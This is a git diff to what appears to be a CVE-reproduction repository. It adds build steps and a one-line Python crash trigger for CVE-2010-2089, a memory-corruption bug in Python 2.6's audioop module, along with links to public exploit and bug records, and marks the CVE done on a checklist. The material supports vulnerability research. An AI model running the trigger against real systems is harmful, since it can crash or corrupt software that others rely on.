diff --git a/CVE-2010-2089/README.md b/CVE-2010-2089/README.md index cd8a19c..e51519d 100644 --- a/CVE-2010-2089/README.md +++ b/CVE-2010-2089/README.md @@ -2,18 +2,45 @@ ## Experiment Environment +Ubuntu 10.04 + ## INSTALL & Configuration +``` +wget https://github.com/mudongliang/source-packages/raw/master/CVE-2010-2089/Python-2.6.tgz +tar -xvf Python-2.6.tgz +cd Python-2.6 +./configure +make +``` + ## Problems in Installation & Configuration + ## How to trigger vulnerability +``` +./python -c "import audioop; audioop.reverse('X', 2)" +``` + ## PoCs +[Python 3.2 - 'audioop' Module Memory Corruption](https://www.exploit-db.com/exploits/34145/) + +[Python 'audioop' Module Memory Corruption Vulnerability](https://www.securityfocus.com/bid/40863/exploit) + +[audioop: check that length is a multiple of the size](https://bugs.python.org/issue7673) + ## Vulnerability Details & Patch ### Root Cause ### Stack Trace +### Patch + + + ## References + +[Redhat Bugzilla #598197](https://bugzilla.redhat.com/show_bug.cgi?id=598197) diff --git a/README.md b/README.md index a2fe690..044e56d 100644 --- a/README.md +++ b/README.md @@ -150,7 +150,7 @@ If you encounter problems with keyword "Failed to lock files", you could try to - [ ] CVE-2010-1450 - [ ] CVE-2010-1634 - [ ] CVE-2010-1866 -- [ ] CVE-2010-2089 +- [x] CVE-2010-2089 - [x] CVE-2010-2481 - [x] CVE-2010-2482 - [x] CVE-2010-2810